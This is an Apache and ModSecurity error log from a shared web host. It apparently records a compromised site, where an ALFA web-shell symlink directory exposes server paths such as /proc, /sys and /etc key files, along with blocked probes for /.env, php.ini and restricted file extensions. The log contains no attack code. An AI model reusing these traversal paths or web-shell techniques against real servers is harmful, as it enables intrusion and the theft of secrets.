[Mon Oct 26 18:45:32.650989 2026] [core:crit] [pid 3113375:tid 3113375] (13)Permission denied: [client 216.244.66.250:45364] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/799703/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/799703/map_files/' is executable
[Mon Oct 26 18:45:32.651006 2026] [core:crit] [pid 3113375:tid 3113375] (13)Permission denied: [client 216.244.66.250:45364] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/799703/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/799703/fdinfo/' is executable
[Mon Oct 26 18:45:32.652364 2026] [security2:error] [pid 3113375:tid 3113375] [client 216.244.66.250:45364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/799703/"] [unique_id "at_YDLFVcNHq_I-IXO77bAAAAAM"]
[Mon Oct 26 18:45:32.652387 2026] [security2:error] [pid 3113375:tid 3113375] [client 216.244.66.250:45364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/799703/"] [unique_id "at_YDLFVcNHq_I-IXO77bAAAAAM"]
[Mon Oct 26 18:45:34.155599 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.157.84.74:20863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:45:36.849169 2026] [security2:error] [pid 3084053:tid 3084053] [client 168.181.217.141:21721] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at_YEPCtl1PgaN9A_9xL5AAAADQ"], referer: https://five.co.in/redirect.php?ref_host=praopohiporodlorft.cyou
[Mon Oct 26 18:45:36.851427 2026] [authz_core:error] [pid 3084053:tid 3084053] [client 168.181.217.141:21721] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://five.co.in/redirect.php?ref_host=praopohiporodlorft.cyou
[Mon Oct 26 18:45:37.493792 2026] [security2:error] [pid 3098116:tid 3098116] [client 91.92.240.86:37200] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_YETS1e-yu7xYT1dr66QAAAAk"]
[Mon Oct 26 18:45:37.494048 2026] [security2:error] [pid 3098116:tid 3098116] [client 91.92.240.86:37200] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_YETS1e-yu7xYT1dr66QAAAAk"]
[Mon Oct 26 18:45:37.494349 2026] [security2:error] [pid 3098116:tid 3098116] [client 91.92.240.86:37200] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_YETS1e-yu7xYT1dr66QAAAAk"]
[Mon Oct 26 18:45:43.640099 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 85.208.96.212:22400] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:45:59.393656 2026] [security2:error] [pid 3098113:tid 3098113] [client 43.165.67.31:35074] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_YJ7HarSgES5WqcDhHfwAAAAU"]
[Mon Oct 26 18:45:59.395146 2026] [authz_core:error] [pid 3098113:tid 3098113] [client 43.165.67.31:35074] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 18:45:59.754564 2026] [security2:error] [pid 3098116:tid 3098116] [client 216.9.225.205:50648] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "corp2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at_YJzS1e-yu7xYT1dr66gAAAAk"]
[Mon Oct 26 18:45:59.754606 2026] [security2:error] [pid 3098116:tid 3098116] [client 216.9.225.205:50648] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "corp2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at_YJzS1e-yu7xYT1dr66gAAAAk"]
[Mon Oct 26 18:46:02.204588 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.214.238.178:49116] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:46:10.154096 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.2.83.227:31215] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:46:18.147997 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.192.67.98:30326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:46:26.245903 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.204.37.237:46658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/8250_lpss/new_id
[Mon Oct 26 18:46:30.205056 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 35.171.117.160:7198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:46:42.145012 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.224.215.150:57323] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:46:50.164860 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.226.89.140:25119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:46:54.240386 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 50.19.79.213:64814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:02.163165 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.82.66.172:31204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:10.159412 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 44.197.76.210:33829] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:14.177724 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.12:10652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/trace
[Mon Oct 26 18:47:22.160619 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.83.177.42:47014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:30.305614 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.194.134.53:5371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:34.149404 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.83.240.58:63438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:38.154863 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 100.24.167.60:7962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:42.176871 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.225.243.131:20142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:47:58.166611 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 100.29.107.38:52963] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:02.159149 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.28.118.16:49035] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:10.152418 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 44.208.223.68:22909] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:14.153796 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 98.82.59.253:12723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/physical_node/resource4_wc
[Mon Oct 26 18:48:18.015296 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.206:17888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/object_size
[Mon Oct 26 18:48:18.194100 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 100.25.120.246:46231] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:20.922048 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 216.244.66.250:48822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/chrony.keys
[Mon Oct 26 18:48:26.163333 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 184.73.195.18:54921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/unbind
[Mon Oct 26 18:48:30.266047 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 50.16.72.185:25054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:34.158557 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.205.74.196:49841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:38.139218 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 50.16.72.185:56765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:46.259303 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 54.90.8.255:46746] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:48:50.138039 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 184.73.167.217:57754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:02.158404 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.222.85.38:16313] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:06.172179 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 34.205.170.13:46099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:18.168919 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.205.170.13:43902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:22.227873 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.221.50.71:54913] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:26.147083 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 52.202.52.82:40183] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/ac/unbind
[Mon Oct 26 18:49:34.190142 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.234.200.207:54803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:34.785654 2026] [authz_core:error] [pid 3098113:tid 3098113] [client 172.202.106.96:60734] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 18:49:38.159209 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.235.172.108:22243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:42.208640 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.45.29.57:54408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:44.314539 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.204:44198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/total_objects
[Mon Oct 26 18:49:46.134050 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 100.28.44.58:27699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:50.149230 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.83.178.66:7014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:49:54.135803 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.23.180.225:32527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:02.180649 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.5.232.250:62880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:03.050487 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 185.191.171.7:50894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:06.140287 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.204.150.196:5454] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:06.696762 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 185.191.171.15:28754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/total_objects
[Mon Oct 26 18:50:10.151497 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.225.24.180:33957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:18.142249 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 3.229.2.217:24249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:26.220205 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.225.81.20:52531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:30.144275 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.203.65.83:15488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:42.150598 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 35.169.119.108:15533] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:50.160233 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.86.59.155:2099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:50:54.166912 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.225.45.252:36584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:51:01.895806 2026] [security2:error] [pid 3106856:tid 3106856] [client 135.181.180.59:62732] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/plikli/approvedips.log"] [unique_id "at_ZVTDkl-Y9NiWKcXVW4gAAAAA"]
[Mon Oct 26 18:51:01.896208 2026] [security2:error] [pid 3106856:tid 3106856] [client 135.181.180.59:62732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/plikli/approvedips.log"] [unique_id "at_ZVTDkl-Y9NiWKcXVW4gAAAAA"]
[Mon Oct 26 18:51:01.897202 2026] [security2:error] [pid 3106856:tid 3106856] [client 135.181.180.59:62732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at_ZVTDkl-Y9NiWKcXVW4gAAAAA"]
[Mon Oct 26 18:51:02.226627 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 35.168.238.50:23525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:51:06.159966 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 3.219.81.66:59047] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/subsystem/wakeup12/device/device/driver/bind
[Mon Oct 26 18:51:10.253353 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.230.224.6:56008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:51:18.255691 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 34.205.163.103:17781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:51:23.702214 2026] [security2:error] [pid 3084023:tid 3084023] [client 135.181.180.59:50720] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/plikli/lang_english.conf"] [unique_id "at_Za3Ms9DEewnALzGZ2LwAAACM"]
[Mon Oct 26 18:51:23.702571 2026] [security2:error] [pid 3084023:tid 3084023] [client 135.181.180.59:50720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/plikli/lang_english.conf"] [unique_id "at_Za3Ms9DEewnALzGZ2LwAAACM"]
[Mon Oct 26 18:51:23.703476 2026] [security2:error] [pid 3084023:tid 3084023] [client 135.181.180.59:50720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at_Za3Ms9DEewnALzGZ2LwAAACM"]
[Mon Oct 26 18:51:34.237456 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.83.56.1:39214] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:51:42.261760 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.54.249.218:29254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:51:46.435762 2026] [ssl:error] [pid 3098116:tid 3098116] (95)Operation not supported: [client 98.82.39.241:21412] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:51:51.034700 2026] [security2:error] [pid 3106856:tid 3106856] [client 135.181.180.59:19022] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".dat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pluck/install.dat"] [unique_id "at_ZhzDkl-Y9NiWKcXVW5wAAAAA"]
[Mon Oct 26 18:51:51.035130 2026] [security2:error] [pid 3106856:tid 3106856] [client 135.181.180.59:19022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pluck/install.dat"] [unique_id "at_ZhzDkl-Y9NiWKcXVW5wAAAAA"]
[Mon Oct 26 18:51:51.036128 2026] [security2:error] [pid 3106856:tid 3106856] [client 135.181.180.59:19022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at_ZhzDkl-Y9NiWKcXVW5wAAAAA"]
[Mon Oct 26 18:51:58.265246 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.81.253.213:64106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:52:00.390351 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 85.208.96.195:54844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/alloc_calls
[Mon Oct 26 18:52:06.326464 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 100.29.34.97:56271] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:52:14.243068 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 3.213.106.226:36009] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/cpu1/crash_notes
[Mon Oct 26 18:52:22.275916 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.235.172.96:61768] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:52:30.397742 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.85.109.140:22380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:52:34.257269 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 34.194.165.45:35306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:52:42.337394 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 184.73.167.217:37195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/device:1d/eject
[Mon Oct 26 18:52:50.272281 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.23.112.144:53689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:52:58.427064 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.233.219.155:8581] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:53:02.617595 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 184.73.47.24:41863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:53:18.285071 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 23.21.119.232:16875] AH02013: coalesce failed to read from data bucket
